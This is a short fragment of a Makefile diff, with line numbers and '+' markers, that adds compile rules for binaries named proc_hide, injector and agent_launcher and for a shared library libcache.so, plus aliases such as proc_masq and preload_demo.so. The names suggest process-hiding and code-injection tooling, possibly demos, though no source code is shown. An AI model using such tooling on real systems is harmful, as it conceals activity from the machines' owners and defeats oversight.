$(BIN_DIR)/proc_hide: proc_hide.c
|
|
23
|
+
$(CC) $(CFLAGS) -o $@ $<
|
|
24
|
+
|
|
25
|
+
$(BIN_DIR)/injector: injector.c
|
|
26
|
+
$(CC) $(CFLAGS) -o $@ $<
|
|
27
|
+
|
|
28
|
+
$(BIN_DIR)/agent_launcher: agent_launcher.c
|
|
29
|
+
$(CC) $(CFLAGS) -o $@ $<
|
|
30
|
+
|
|
31
|
+
$(BIN_DIR)/libcache.so: libcache.c
|
|
32
|
+
$(CC) $(CFLAGS) -shared -o $@ $< $(LDFLAGS)
|
|
33
|
+
|
|
34
|
+
# Legacy aliases for backward compatibility
|
|
35
|
+
$(BIN_DIR)/proc_masq: proc_hide.c
|
|
36
|
+
$(CC) $(CFLAGS) -o $@ $<
|
|
37
|
+
|
|
38
|
+
$(BIN_DIR)/inject_demo: injector.c
|
|
39
|
+
$(CC) $(CFLAGS) -o $@ $<
|
|
40
|
+
|
|
41
|
+
$(BIN_DIR)/preload_demo.so: libcache.c
|
|
42
|
+
$(CC) $(CFLAGS) -shared -o $@ $< $(LDFLAGS)
|
|
43
|
+
|
|
44
|
+
clean:
|
|
45
|
+
rm -rf $(BIN_DIR)
|